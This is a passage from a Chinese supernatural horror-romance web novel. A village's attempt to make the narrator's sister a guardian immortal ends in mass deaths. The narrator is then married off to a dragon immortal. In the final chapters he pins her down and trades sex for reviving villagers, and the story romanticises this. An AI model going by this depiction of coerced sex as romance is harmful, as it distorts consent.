然后李大叔就从外面把刚出生没几天的银杏抱回来了。
村里人都说银杏是李大叔先头相好给他生的孩子,李大叔突然悔婚也是因为那个相好。
至于真相,恐怕只有当事人双方清楚,反正我妈从没在任何人面前提过李大叔执意悔婚的原因。
因着这回事,李大叔和我妈就成了一对怨侣,分开后互看不顺眼,还经常针锋相对。
后来李大叔独自抚养银杏长大,我妈也嫁给了我爸。
我爸是个外乡人,可惜的是,他命不好,我妈刚怀上我和姐姐没满三个月,我爸就上山打野兔子失足落崖摔死了。
李大叔也是个懂偏门的术士,他好像一直不认同我妈管理村子的手段,觉得我妈把姐姐炼成守族仙是件伤天害理的事。
所以银杏没喝过姐姐的洗身水才正常。
我猛松一口气,放开银杏,拍拍胸脯放心道:“你没喝就好。”
银杏惆怅叹息:“这个村子里,目前没喝过你姐姐洗身水的人,也许就只有我和爸,你和你妈,还有一些独居老人了。”
独居老人没有儿子能和姐姐同房,自然就得不到姐姐的洗身水,我嫌那水臭,妈没喝,可能是因为她也过不了心里那关吧。
回去的路上,我看见昨晚去过我家的金大娘在自家门口菜园子里挖地。
想起银杏在水边和我说的话,我壮着胆子惴惴不安地走过去,主动和金大娘打招呼:“金大娘?你、还好吗?”
金大娘背对着我挖地的动作一顿,僵了两秒钟,突然扭头转身,沉下嗓音木讷回答:“我、很好啊——”
视线落在她的脸上,我竟发现她的面部,五官都没有了!
整个脸盘都长满了密密麻麻的黑色蛇鳞,看得人头皮发麻,背上一凉……
“啊——”
第6章 三月初三,比翼重逢
我端着木盆转身拔腿就跑,被吓得满头冷汗,心都要跳上嗓门眼了!
然而更可怕的是,路上我还遇见了一个年轻男人和一个五六岁大的小孩。
他们的脸上也没有五官,只有层层叠覆的黑蛇鳞。
我差点被路上的人吓丢了魂,一路狼狈地仓皇逃回家。
“妈、妈……”
我一进家门就声嘶力竭地到处喊母亲,可她好像不在家。
我害怕地里里外外喊了一通,没喊出来我妈,倒是把姐姐给喊出来了。
“妈不在家,你跟我来!”
姐姐今天竟破天荒地用纱巾遮住了自己妩媚昳丽的容颜,抓着我的手就把我往外面带。
“姐,你要带我去哪啊,姐!”
姐姐无视我的询问,拉开院门,将我一路扯去西头村里人打水的水井边……
姐姐刚停下来,我就迫不及待地紧张提醒她:“姐!昨天的洗身水有问题,村里好多人的脸上都长满了蛇鳞!”
可姐姐却并不惊讶,抬起长了红疮的纤细手指,取下脸上的纱巾。
我这才发现,姐姐的脸上,有一半也长了鳞次栉比的青蛇鳞!
“姐你的脸!”
我惊呼,她狠狠剜了我一眼,镇定道:
“有什么大惊小怪的,蛇仙说了,是我的身子暂时承受不了蛇仙的仙气,所以才会长蛇鳞。
等我明天成为真正的守族仙,以后就不会有这种情况了。”
“那你的脸什么时候才能好……”
“好不了了!”姐姐拽下纱巾围在脖子上,轻描淡写的口气似乎在阐述一件极小的、不值一提的事。
可她从前不是最在乎这张脸的吗?
“那、那怎么办?”我着急得语无伦次。
姐姐用身上藏青长裙擦了擦手,不屑勾唇,突然话题一转,放在我身上:
“宋鸾镜你知道吗,从小,我就最讨厌别人拿我们两个做对比,讨厌听见那些人说,你比我长得好看。
我厌恶你,不仅是因为你的脸,还因为……你就是我身边,最大的威胁!”
“威胁?”我心慌意乱地咕咚咽了口口水,“我、怎么会成你的威胁?姐姐,你是不是误会些什么了……”
“我没有误会!”
姐姐厉声打断我,眼神凶狠地瞪着我,咬牙切齿道:
“五岁那年你为什么要进祠堂!你这个心机婊,小小年纪就会争抢,你就是看我被所有人夸奖被所有人奉为神明,你嫉妒!
差一点,差一点我就被你取代了!
我从小就被母亲当做守族仙培养,从小就接受所有人崇拜景仰的目光,你凭什么要把我拉下去神坛,你坐上去?!
不可能,我告诉你,哪怕你才是真正的守族仙人选,我也不会让你抢了我的荣光!”
“五岁?什么五岁祠堂,我、我根本不记得……”
我着急解释,但姐姐她压根不信我,抓住我的手腕就把我往井口逼,眼神凶煞的憎恨道:
“装,你还给我装!不过没关系,我做守族仙已经是板上钉钉的事了,从小到大我夜夜修炼媚术,为得就是明天!
我这张脸,废了就废了吧……宋鸾镜,我可以换上你的脸啊,把你的脸给我,我就是真正的骨仙转世,九黎族的守族仙!”
把我的脸给她……她要我的脸!
猛一回神,她已经伸手掐住我的脖子,另一只手拿着一枚药丸就要往我嘴里塞——
“宋鸾镜,吃了这颗药丸,你的脸皮就会完整脱落下来,供我使用。”
“以后,就再也没人能怀疑我的身份了,我才是整个月阴村最美的女人!”
“宋鸾镜,你就不该活在这个世上!”
我被她掐着脖子猛按在井栏上,两只手使劲推着她的手腕,痛苦的挣扎:“姐!你放开我!”
“我真没想过和你争些什么,姐我求你别这样、咳咳,姐……”
她手上越勒越紧,掐得我愈发上不来气,呼吸困难,憋得胸口疼。
她的另一只手还拿着药丸拼命往我嘴里塞,双目红的像血,面目因太过用力而异常狰狞扭曲:“吃了它,把脸给我,给我!”
我靠着井栏不敢用力,仰着身子喘息艰难的下意识痛苦喊妈。
“妈、妈救我……”
姐姐一听这几个字眼,瞬间更加恼怒了,情绪激动的冲我嘶声嚎道:
“叫妈也没用!妈根本不在乎你,妈在意的只有谁能成为守族仙!你老实把脸给我,不然我掐死你!”
“姐、姐我不要,不要……”
我害怕的直掉眼泪,而就在她用强要把药丸硬挤进我唇齿内时,不知道哪里冒出来一条黑蛇突然蠕动到她脚下,狠狠咬了她一口。
她吃痛松手,转头就去猛踩那条黑蛇:“畜生,你敢咬我!”
捡起地上一块石头就往黑蛇的七寸处砸——
我见状趁机一把推开她,拔腿疯狂往家的方向逃……
有妈在,她应该不敢直接对我下手。
姐姐见我跑了,只能拿那条咬人的黑蛇撒气。
不停用石头猛砸黑蛇七寸,边砸还边高声威胁我:
“宋鸾镜,你跑不掉的!就算你回家找妈,妈护着你,等我成为真正的守堂仙,为了我们族能一生一世长生不老,她也会让你把脸送给我的。”
“哈哈哈,宋鸾镜,你等着完蛋吧!”
我差点被姐姐疯狂的举动给吓丢了魂,喘着粗气一路不要命的往家里跑。
推开家里院门,我跑进自己房间把门反闩上。
一瞬间像被抽干了全身力气,像只断了线的木偶般砸靠在门板上……
姐姐疯了,她竟然想要我的脸!
离开的冲动在此刻达到了顶点,我抹去脸上的泪痕,拼命安慰自己:
只剩下最后一天了,等姐姐的升仙仪式结束我就可以离开这个可怕压抑的家了!
明天就是妈为姐姐选定的升仙吉日,为了保证升仙仪式顺利进行,妈一整天都在外奔走,根本没有时间再管别人的事。
傍晚,我缩在自己的小床上不敢出门惹事。
太阳下山那会子,我的房门被人轻轻叩了四下。
我以为是妈回来了,就赶忙跳下床小跑过去抽开门闩拉开门。
门拉开,门外却没有人影。
我惴惴不安地四处张望一番,目光下移,突然在门槛前发现一份红色的喜帖。
红底喜帖正面绘着两朵洒金莲花图案,金光熠熠的双喜字格外精致高级。
打开喜帖,上面是用毛笔写的吉祥话:两姓联姻,一堂缔约,前世相盟,今生结缘,定于农历三月十三,鸳鸯成双,比翼重逢。
三月十三,是后天?
“喜帖上写了吉日,却没有写新人的名字,真是奇怪。”
我以为是村里哪个邻居送给妈的,粗心忘了名字,就先把喜帖拿进屋。
准备把东西先放桌子上,可手指不知道划到哪个地方了,骤然一疼,大拇指的指腹被划伤一个口子,豆大的血珠没进了喜帖内。
我慌忙把受伤的手指头放在唇边吮了吮,扔下喜帖重新钻进被窝里睡觉。
不知道是不是我眼花了,我好像看见桌边喜帖上的双喜字有一瞬绽出了一道极浅的金光。
夜里,外面刮起了大风,有点不太平。
我是被阵阵男女老少的喧哗喊叫声惊醒的,披上外套揉着眼睛去开门,才发现村里人都聚集在我家的院子里。
我睡眼惺忪地挤进人群,艰难挪动脚步来到母亲身边。
母亲抓着黑檀木念珠的手在抖,一身祭司服华丽尊贵,额前银饰遮住了母亲眉眼。
我靠得近,能看见母亲眼底的浑浊与恐惧。
脑子反应慢半拍地顺着母亲直勾勾视线看过去,却陡然发现我家院子里凭空出现一顶喜轿!
大红的轿帘上绣着金线并蒂莲花,轿身艳红像血,红纱被风吹得翻飞,轿顶是纯金打造,尖上还镶着一颗夜明珠。
四角飞檐下挂着精美华丽的琉璃金流苏宫灯,金顶上还刻着栩栩如生的凤凰浮雕图案。
这还是顶八抬大轿!
喜轿被众人围在中间指指点点,村民的话更是听得我心里发毛。
“这是青龙仙来接人了!”
“不行,花枝生在我们村长在我们村,眼见着就要成了,决不能让青龙仙带走她。”
“可是不把人还给青龙仙,我们整个村都要遭受灭顶之灾啊。”
“好不容易才培养出一个真正的守族仙,我们就这样前功尽弃了吗?
我们已经喝了守族仙的洗身水,把守族仙还回去,我们会比以前还老,很快就会老死的!”
“是啊,我得的是绝症,现在刚过几天正常人的日子,我可不想再瘫痪在床,拉的屁股生疮呢!”
“我还指望守族仙让我生个大胖小子呢,族长,您说这事该怎么办!”
姐姐怯生生地站在妈身后,扯了扯妈的袖子:“妈……”
我妈站在大灯下,捏紧指尖的念珠,下定决心道:“升仙仪式,照常!”
第7章 姐姐惨死,鸾镜换花枝
村里人听见妈这样表态,反而像是皆松了口气。
纷纷赞同道:“就是,我们供奉这么多年的守族仙凭什么轻易还给她。”
“守族仙是我们的希望,等守族仙功德圆满了,我们所有人一辈子都不用受病痛折磨了,我们会有无穷无尽的阳寿!”
“如今就差临门这一脚了,必须照常啊!”
妈做完决定后,没有管门口的轿子,转身回了自己房间。
院子里的村民们也很快就散了去。
最后两名村民操手离开时,我分明听见他们小声嘀咕了句:
“你傻啊,只要她真成了我们的守族仙,就一辈子也离不开月阴村了,到时候就算青龙仙来要,也只能带走她的尸体!”
我这才恍然大悟,怪不得妈着急要姐姐升仙,她是想把姐姐一辈子困在月阴村。
屋外仅剩下我和姐姐后,姐姐突然一扫眼底恐惧,目露贪婪地蒙着脸跑向那顶花轿。
先是激动的摸了摸花轿上的琉璃宫灯,后把绣着喜字与并蒂莲花的轿帘掀起来,贪心地往脸上蹭蹭……
转身还要坐进去。
“姐姐!”我惊恐阻止,姐姐像是被打断了兴致,扭头厌恶瞪我,警告道:“我劝你别多管闲事!”
姐姐最终还是满脸欣喜的坐上了轿子,贪心摸着精美的喜轿自言自语:
“等我先做守族仙,再嫁给青龙仙,我就是真正的神仙了,所有人都要敬畏我,对我俯首称臣,下跪上贡,哈哈哈……”
我害怕的瞪大眼睛,只见轿子四周,翩翩落下了几张晦气的黄纸——
……
次日,母亲一大早就给姐姐换上了华丽精美的刺绣仙女服,给姐姐上妆,梳了个漂亮的高盘发髻,在姐姐头上插满鲜花与银头饰。
族里老人开祠堂,点红烛,立牌位上香。
升仙仪式由母亲亲自主持,姐姐在两名童女的搀扶下坐上了高处的莲花台。
厚重的妆面压住了她脸上的青色蛇鳞纹,她双手掐兰花指,搭在盘起膝盖上。
母亲执香在原来供奉骨仙的空位前拜了三拜,口中念念有词了很久。
前来观礼的人虔诚低头,姐姐高傲地抬了抬下巴,红唇微扬。
大约过了半个小时,母亲走完一切仪式,把香插在了香炉里。
众人屏气凝神地死死盯着那三炷香,寂静了十来分钟。
母亲闭着双眼,捻动手里念珠,突然,手上动作一停,睁开双目:“成了。”
下一秒就是村民们的激昂欢呼:“成了!我们有守族仙了!”
“太好了,守族仙保佑我长生不老,无病无灾。”
“守族仙保佑我早点生个大胖小子……”
“守族仙保佑,守族仙保佑……”
村民们接二连三地跪下去,乌泱泱一片对姐姐磕头礼拜。
姐姐闭眼唇角带笑地享受他人的跪拜,身前三炷香火光盈盈。
我站在门口不知所措地看着这一幕,不久,外面突然刮起了一阵狂风。
有个旋风窜进祠堂,掀得堂里帘帐飞舞,所有人睁不开眼睛。
母亲也被这股怪风吹得后退两步,抬胳膊遮眼,半天勉强站住脚跟。
风停,门口出现了一抹熟悉的身影。
是李大叔!
李大叔腰上别着烟杆,高大的身躯,面容如常没有丝毫变化,嘴边胡子似乎有一阵子没刮了,冷着脸站在台阶下,意味深长地冲我妈道:“淑贞,你还是不愿意收手。”
我妈狠狠怔了下,尔后面露愠色:“我做事,你没资格管!”
李大叔叹口气,失望道:“你贪心不足,执意把亲女儿炼成守族仙,逆天而行,月阴村马上就要大难临头了。”
说完,李大叔又将目光落在我身上,压低声,“到时候能救这些人的,恐怕只有你了。”
我不确定李大叔刚才的话是不是和我说的,李大叔走后,母亲还恼恨地盯着他背影消失的地方,久久不能回神。
姐姐成了真正的守族仙,我也收拾好行李准备搭四月五号的大巴车离开了。
再不走,我的脸就真要保不住了!
可就在姐姐成仙的当晚,村里又发生了怪事。
喝了姐姐洗身水的那些怀孕女人们都在同一个时辰捂着大肚子发作喊疼要生了,如出一辙地生出了一窝蠕动的黑蛇!
妈匆忙出门去给那些女人看事,没等妈回来,姐姐也消失了。
我躲在家里不敢出门,眼睁睁地看着我家院子里飘来无数张黄纸……
妈在鸡鸣破晓时分疲惫地回了家,我没来得及和妈说上话,因为妈看见满院子的黄纸后,就被吓得冲进卧室紧闭房门不肯见人了。
我只好一个人打着手电筒出门找姐姐。
找到天亮,把村子里能找的地方都找了一遍也没见到姐姐身影。
我本以为妈已经把那些怀孕女人的事给解决了,暂时不会再有什么麻烦了,可没想到一切都是暴风雨来临前的宁静!
清晨,我家的院门被几个哭哭啼啼的女人用力撞开了,我回家那会子正撞上她们扯着嗓子嚎哭,抓着我妈的手让我妈给她们一个交代。
“我们家那口子昨天喝了守族仙的洗身水,今天不知怎么的,就咽气了!”
“还有我男人和儿子,今早也没气了……”
“淑贞,你得给我们一个说法,不是说喝了守族仙洗身水的人会长生不老吗!为什么会没气!”
族里老六叔也着急忙慌地跑进我家,我这才听见具体真相——村里喝了姐姐洗身水的人,都死了!
我抓着手电筒被吓得身上打抖,都死了,活着的不超过二十人……
为什么会这样。
无意扭头,余光不经意瞥见门口东边那棵歪脖子树上,吊着一个红彤彤的东西。
我好奇且不安地一步步走近——
像人。
我的呼吸越来越急促,脚下步子也越来越沉重,头皮发麻地迈着僵硬双腿……
是人,是个女人。
背后凉洇洇的,我咬紧牙关强压下心头恐惧感,憋住呼吸,继续往前走……
女人是被红绳穿体,吊在老槐树上的。
光着脚,裸露着身体,披头散发,红绳穿透她的上半身,像一只被高高挂起的提线木偶,低垂着脑袋,没有呼吸……
身上披着两条艳红似血的薄纱……
死相诡异到让人心底发怵!
而仔细看她的脸,才发现……死的人是姐姐!
我愣愣地站在原地,半晌,才害怕至极的叫出声:“姐姐、啊——”
……
姐姐死了,妈悲痛欲绝,趴在姐姐惨白的尸体上哭得死去活来。
村里家家户户都在办丧事,一时间整个月阴村都回荡着男女的悲伤痛哭声……
老六叔坐在姐姐尸体头边烦躁吸烟:
“不该啊,花枝是骨仙转世,天生的守族仙圣体,被你调教了这么多年,修炼了这么久的长生媚术,她的洗身水喝下怎么会没用,还遭反噬呢?难道是青龙仙干的?!”
“不关青龙仙的事,这么多年,你们就没有怀疑过,你们认错了人,花枝根本不是骨仙的转世吗?”李大叔手里拿着大烟杆,快步走进我家院子。
我妈肿着眼昂头,咬牙质问:“你什么意思,我当年明明算过,骨仙的转世就投胎在我肚子里!”
李大叔瞟了眼跪在地上烧纸的我,“这不还有一个?”
我一顿,心跳得厉害起来,不可思议地抬头盯着李大叔……
妈也被李大叔的回答给吓到了,反应过来后立马爬起身去堂屋抽屉里乱翻,然后翻出一张眼熟的喜帖。
那喜帖不是在我屋里吗?我还没来得及给妈呢,怎么妈手里也有一张!
妈恐惧僵着脖子,颤巍巍把喜帖打开……
看见里面名字的那一刹那,吓得一激灵把喜帖扔飞过来,瞪大攀满血丝的双目,满脸懊恼地狠哭起来:“怎么可能!”
我好奇地去看地上的喜帖,只见那喜帖上多出了一个闪着金光的名字:宋、鸾、镜……
怎么可能是我!
我接受不了的一屁股坐在地上,本能的着急往后躲。
李大叔一烟杆挡在了我的背上,沉着脸严肃说:
“现在只有去求那位龙仙,才能救村里人的性命。
淑贞,我早就提醒过你,有些事不能逆天而行,你偏是不听,现在到底是竹篮打水一场空了。
老实把这孩子送上龙仙的花轿,送去落枫洞吧。”
他们要把我送给龙仙?
我怕得顿时就哭了起来,跪在地上爬到母亲脚边,拽着母亲的绣花裙子哽咽祈求:“妈,别把我送走,我害怕!”
“所以,我苦心经营这么多年,最后还是害了自己的孩子?”我妈泪眼盈盈地低头看我,眼神里是我没见过的阴冷凶戾。
我怕得更厉害了,哭得满脸是泪水。
李大叔继续说:“我知道你这样做,都是为了族落,但世间之事冥冥之中自有定数,强求不得,不如放手。你把她送过去,村里人就能复活了。”
老六叔一听李大叔这样讲,当即帮衬道:“对啊,现在人都没了还图什么长生不老,淑贞,你把鸾镜送过去,花枝说不准也能活过来!”
“花枝,我的花枝……”
母亲似恍然大悟,下一秒就弯腰抓住我的肩膀使劲摇晃,激动向我吼:
“对啊镜镜,你也不想你姐姐枉死对不对,你是骨仙转世,你上辈子就是龙仙送过来的,他这次是来接你回家的。
只要你回去,族里那些人就会活过来,你姐姐也能活过来,你去嫁,去嫁!”
第8章 纸人抬轿,青龙仙
我望着母亲发红的双眼抖得厉害:“妈……”
母亲扑通一声跪在我跟前,紧接着就不停给我磕头:
“镜镜,就当我求你了,你去找龙仙,让他复活村里人,看在我养育你多年的份上,你把你姐姐换回来吧,镜镜,这可是你亲姐姐啊……”
“妈。”我缩在地上脑子一片空白,哭着摇头:“不、我不要嫁给一条龙,我害怕……”
老六叔不耐烦地啐了我一口:
“真他娘是讨债的赔钱货,这有什么害怕的,你只不过是从哪里来回到哪里去而已!
你一天不回去,村里就一天不得安生!你啊,我求求你赶紧走吧,别祸害咱们村了!”
老六叔的话,像把刀子般,生生刮着我的心。
这是我家啊,我从小生活到大的地方,他们怎么能说不要我就不要我了呢……
看我哭得伤心,李大叔也蹲下来冷静和我讲理:
“鸾鸾,现在死的都是咱们的邻居,那些人,都是看着你长大的同村叔伯,还有你的姐姐。
你母亲和老六叔都是太着急了,才说话没个分寸,你别往心里去。
鸾鸾,你是个好孩子,你打小就心地善良,应该也看不得这么多熟人亲人都一夜之间突然离你而去吧。
救人一命胜造七级浮屠,只要你找龙仙求情,他们所有人都能活过来。
鸾鸾,就当是,看在你母亲疼了你这么多年,村里不少叔伯婶子在你小时候都抱过你的份上,帮一帮大家吧。
你忍心看见月阴村,只剩下这十来个老弱妇孺吗?”
“我……”我抽泣着瘪嘴,“我、我还是害怕,我、”
不等我说完,妈也一把将我抱在怀里,痛心疾首道:
“镜镜,我知道你这孩子从小就听话,你放心,龙仙不会伤害你的,这里永远都是你的家。
是妈错了,妈不该执迷于把你姐姐炼成守族仙,不该想着让我们族拥有长生不老的能力。
现在村里死了这么多人,你姐姐也变成这样了,镜镜,都是妈造下的孽,你不帮妈,妈只能以死谢罪了!”
听着妈这些内疚自责的字眼,我心里也不好受,抱住妈嚎啕大哭起来:“妈……”
“镜镜,我的女儿,我对不起你。”妈也哭得伤心悲痛。
最后,我还是答应了妈的要求……
上花轿,嫁给龙仙。
夜晚,母亲迎着烛光,对镜给我上妆。
画眉,描眼,扑腮红,点红唇。
妈的上妆手法极好,连我的肿眼泡子都给我画没了。
老六叔把一套金线绣凤凰桃花的新嫁衣送过来,我妈亲手替我换上。
嫁衣里里外外共有三层,第一层是红色素底里裙,第二层是凤凰桃花广袖长裙,第三层,是件质感如水的红色薄纱。
母亲帮我合紧衣襟,细心给我系好金线密绣凤尾花的腰带。
最后给我梳头,桃木梳沾上桃花水,一梳一梳,梳顺我的长发。
再挑起缕缕青丝,挽起,簪花,戴上金链遮面的婚礼花冠。
一切结束,才将一条三层的红玛瑙项链挂在我脖子上。
母亲扶着我的肩,看着镜子里的我有一瞬失神:“我们的镜镜,真好看……”
我听见这话,又想哭了。
妈拿起桌上的桃花喜鹊红盖头给我盖上,也没选吉时,就扶着我把我送了出去……
临上花轿,我妈还不放心地在我耳边叮嘱:“一定要让他救活村里人,让他救回你姐姐!”
我听话点点头,垂着脑袋掉眼泪。
坐进花轿,半分钟后,花轿突然被人抬起来,送离家门。
我原先以为是村里人抬的花轿,可是走着走着,我发现花轿抬起来,好像异常的平稳……
掀开盖头,我好奇地撩轿帘看出去,但,瞧见的却是纸人在抬轿!
我立马捂住嘴惶恐地把头缩进轿子里,红盖头放下。
纸人、纸人抬轿……
轿外还洒着红彤彤的、圆形纸钱!
这哪里是成亲……这简直是阴婚!
我老实坐在轿子里,双手止不住地发抖,浑身冒冷汗。
不知过了多久,花轿停下,有双正常的女人手把我搀扶下花轿,扶我进了一座洞府,送我去巨石做的大床边坐下。
那女人离开了房间。
我心慌意乱的双手紧攥袖子,躲在盖头底下,不停吞咽口水。
过了将近十分钟,门口才再有脚步声。
有人信步走来,步伐沉稳。
我低头,目光透过盖头的下端,看见一双越走越近的墨色靴面,以及男人摇晃的大红喜袍袍摆——
是、是条修成人的龙仙!
我本能的往后仰身,怕得浑身发毛。
他停住步子,缓了缓,一支秤杆送至我的盖头下,轻轻一挑……
盖头突然飞了出去,我畏惧的身子一颤,往后仰身。
谁料抬头,却撞进了一双幽青深邃的眼眸里……
一只大手托住我的腰身,不许我往后躲。
咫尺之间那张俊逸非凡的脸,剑眉飞扬,眸似古井,高鼻薄唇,棱角分明——
俊美长相颇具攻势,额间一抹红痕,平添妖异。
男人勾唇,垂眼凝望我,软着嗓音,语调轻浮:
“就这么怕我么?我的、骨仙娘娘。”
皓皓如瀑的银发垂落在我肩上,他说完,眯了眯狭长凤目,眼底浸笑。
忽然凑近,暧昧地往我耳根轻啄一口。
“阿鸾,这么快,就不记得我了么?嗯?”
“阿鸾,我,可是你的解药啊。”
清澈好听的声音灌入我耳中,我霎时愣住。
解药?脑海里骤然忆起十天前的那个夜晚——
模糊的记忆渐渐变清晰,白花轿,鬼下山,菊花嫁衣,青蛇仙……
那夜,是他温柔附在我耳侧,低低闷笑,细语勾人:“救你,我有什么好处?”
“被你当成解药,本尊,甘之如饴。”
“是你说要……本尊给你,你又受不住。”
“你体内的药性是解了,阿鸾,本尊中的毒,还没解干净。”
“本尊,中了你的毒,没有你,本尊会死……”
“阿鸾,我们还会再见的。”
“下一次,本尊要你,心甘情愿上本尊的花轿。”
“本尊的,骨仙娘娘……”
原来,那晚不是梦!
和我缠绵一夜的人……竟然就是他!
我惊恐地昂着头,壮着胆子认真看他那张俊美绝世的容颜,目光汇聚在他额间那抹红痕上……
突然又想起,我被赵二哥甩下悬崖那天,也是他救了我。
青眸银发,俊容古袍。
眉心朱色印记与我遥远记忆里的小青蛇重叠……
还有那天,我被李三那个老流氓欺负,房中突然出现的那条大青蟒……
全都是他!
他见我呆愣住,勾唇,刻意压低声,灼热吐息扫过我的脸颊,软语引诱我:
“怎么,见到本尊,高兴傻了?上次见面,不是胆大的很么?都敢一巴掌扇本尊脸上。”
我闻言,瑟瑟发抖的慌张要往后退。
可他的手仍托在我后腰处,不给我逃避的机会,突然掌中用力,把我整个人都揽撞进怀里。
我差点被吓得尖叫,精神紧张地急促喘息着,怯怯伏在他胸膛上一动不敢动。
他身上的红衣喜袍明艳灼目,如火如荼,和我今天的嫁衣很是相配。
我怕得不敢说话,身上还在抖,他搂着我,挑眉故意吓唬我:“夫人不说话,是想直接和本尊进洞房?也好,本尊……”
他说着就要来扒我身上的红嫁衣。
我吓到条件反射,捂住衣领陡然清醒,急忙从他怀里退出来,往石床里侧缩了缩。
想起上花轿前母亲的叮嘱,我硬着头皮直接在床上冲他跪下来,一个劲给他磕头,拖着哭腔乞求:
“龙、龙仙大人,求你救救我的族人和姐姐,求求你!”
脑门子砰砰往地上用力磕了两下,要磕第三个头时,他突然将手垫在了我的脑门子下。
我一头磕在了他的掌心。
我颤了下,迷茫地抬起朦胧泪眼,却见他居高临下的冷漠睥睨着我,一头银发落在喜袍上,红白碰撞,绝美之姿。眉眼如画,威仪万千。
片刻,青眸里又是暖意一片。
他抓着我的手腕把我拉起来,右臂搂住我的腰猛一收,在我被震得六神无主时,薄唇贴于我的耳边沉笑道:
“她们这样对你,你还要求本尊救她们。
阿鸾,你可知,你母亲一心想将骨仙炼成守族仙,想借守族仙的力量达到让九黎族重获长生不老之力的目的。
一旦,骨仙真成了守族仙,就等同于,和上古九黎族签了协议,一辈子都不能离开九黎族,还要奉献自己,牺牲自己,为那些村民续命。
守族仙,就是那些人的长生不老药。
你母亲,本该将你炼成守族仙,她从没将骨仙当成亲女儿,对骨仙只有利用。
你五岁那年闯入祠堂,正好撞上你母亲验明骨仙正身的仪式。
要不是你那个贪心不足的姐姐为了当神仙,想不劳而获,在仪式上偷偷动了手脚,现在被炼成守族仙的人,就是你。
你母亲误以为,你才是她亲生女儿,为了保护你,才不给你治脸,还送你去读书,供你上大学。
现在,真相大白,你母亲又为了救你姐姐,逼着你来嫁本尊,你果真,一点都不恨她吗?”
我紧张的老实待在他怀里,恨……我哪有资格恨。怨,是有些。
从小到大,我好像从未得到过母亲的爱。
也许她给过,可我没有感受到……
但再怎么说她也是我妈,花枝也是我姐……她们是我亲人啊。
他继续笑着低声蛊惑我:
“还有那些村民,你的族人,他们都不过是群自私自利的人罢了,不值得救。
阿鸾,你以后,可以和本尊住在一起,你不需要那个家,本尊,给你一个家。”
他给我一个家?
我不敢相信他,慌张求他:
“龙仙大人,你救救我姐姐,求你了,救救我的族人……我、我答应了我妈,见到你就求你救他们!
龙仙大人,只要你救我的族人和姐姐,让我做什么都行!”
“你不信任本尊?”他反问,面色未改,语气依旧平静柔软。
“不、不是……”我支吾不敢承认。
他挑眉,竟然很善解人意地淡定道:“你我才正式见面,不信任我,也正常。只是……”
他忽用修长玉指捏住我的下颌,逼我抬头和他四目相对,眼底划过一丝狡黠,存心凑近我,引诱我,浅浅要求:“本尊可以帮你救人,但本尊,有条件……”
“条件……”我不解的望着他:“什、什么条件?”
他用指腹细细摩挲我的下颌,突然将我压在石床上,抚着我这张脸,看得入迷。
我一惊,瞪大眼睛看他,心跳如雷。
他暧昧与我十指相扣,贪婪俯身,啃咬我耳垂,低哑嗓音沉醉诱人:
“给我一次,我帮你救一人。”
第9章 三百年前,本尊就想娶你
“什么?”我错愕惊呼。
下一秒,腰带与衣襟就被他指尖轻轻一带,从身上剥了去。
床前红纱幔层层垂落合拢,我只觉得胸口一凉,转眼就一丝不挂地被他压在了身下。
我害怕的想捂住胸口,但双手却被他压在枕边,不得动弹。
一条红纱落在我的眼上,遮住了我的目光,我怕得发抖,他哑笑,轻轻吻了下我的唇角,调侃道:“又不是第一次了,羞什么?”
这话说完,我的脸更烫了。
他没给我太多适应的时间,不知什么时候他身上的袍子也不见了……
肌肤相亲间,我委屈地哽咽一声。
他无情含住我的唇瓣,吞下我的呜咽。
灵魂契合那一刹,像有千万烟花炸在眼前。
身上的冷汗逐渐有潮湿滚烫,他松开我的手腕,指腹游走在我身体的每一寸肌肤。
我被红纱遮住眼,满头大汗呼吸急促,湿漉漉的手臂绷直,指尖揪皱了身下石床上的红丝绸床单。
颤哽声被他尽数吞下,大手握紧我的腰窝,指尖愈加用力。
后来的哽咽,慢慢被他调教成勾魂的低吟。
不记得被他带着心潮澎湃多少次,我终还是体力不支地败下阵来。
搂住他脖子嘤咛求饶:“放过我……我累……”
他无情拒绝,喘息闷沉:“阿鸾……还不够,现在,只能救三人……”
直至我虚脱的晕死过去,才顺利从他的入骨柔情中解脱。
——
次日清晨,我是在他的怀里苏醒过来的。
男人莹白的胸膛上,肌肉紧实成块,胸廓线条棱角分明。
心脏跳动处,用朱砂纹了朵妖媚的火红凤凰花……
男人的大手还握在我的腰窝上,月华般的银发似水流泻于白皙的宽肩上。
剑眉微拧,脸色沉重,即便处于沉睡状态,也一副心事重重的模样。
我怔怔看着他眉心那抹妖异红痕,绷紧脊背大气都不敢出一声。
被他俊美至极的面容给引诱得发了半天呆,直到洞外一缕寒意钻进来,拂动红纱幔,吹得我后脖颈一凉,我才猛地回神。
低头看见自己的身体还裸着,肩膀与胸口皆是事后留下的暧昧红痕,我耳根发烫地赶忙捂住身体……
面红耳赤的想下床跑路。
但我人还没从他怀里挪出去,就听睡梦中的男人突然惊慌呓语,吐息急促:“别走!别动她!阿鸾……”
他在叫我?
银发男人像是被梦魇住了,身体发着抖,嗓音颤颤,低声祈求:“别碰她……不要!”
我看着他拧成一团的眉心,发现他脸色愈加苍白,似在承受着极大的痛苦。
握在我腰窝上的手紧攥成拳,指尖用力掐着掌心,却没有误伤到我分毫……
“龙、龙仙大人,你怎么了?”我担忧地推了推他。
但,手敷在他胸口,掌心竟然感觉到一团濡湿。
我愣愣把手拿起来,才发现掌心一滩湿乎乎的鲜血……
更诡异的是,他胸口的凤凰花……在往外渗着殷红血滴!
他、不会要死了吧!
“龙、龙仙!”我焦急地扶住他肩膀,壮着胆子使劲晃他。
一手胡乱按在他胸口,想给他止血,被吓得差些哭出来:
“龙仙大人你快醒醒,你怎么了龙仙大人……你、别死,千万别死啊龙仙大人……”
可能是我嚎得太大声了,昏迷的男人不悦松了眉头,在我的卖力摇晃中缓缓醒转。
睁开好看如水玉的青眸,见是我,猛呼一口气。
紧攥的大手陡然放开,他温柔揽住我的腰,允许我趴在他身上。
一条胳膊搭在额上,用拳头砸了砸脑门子,疲倦慵懒道:“吓到你了?本尊没事。”
“你、你的胸口……”我七手八手地把掌心拿起来,想告诉他,他心口流血了……
可,怪的是,掌心拿开,却不见半点血迹。
唯有他心头那朵凤凰花绽放似火,妖艳灼目。
“怎么可能,刚刚明明……”我心慌意乱地想解释,但身体却被男人猛地揽进怀里用力抱住。
男人气息沉沉道:“没事,别害怕。只要看见你,本尊的心就静了。”
我怔住,可想起自己还赤身裸体地被他抱在怀里,他也没穿衣服。
我紧忙怯怯将被子往身上裹紧点,脸颊发烫,猛吞了口口水:“我、该起床了……”
他平静下来,看了眼洞顶的天光,“嗯,夫人先在这等着本尊,本尊,去给夫人准备沐浴的温泉。”
没等我开口,他的身影就消失在了我身侧。
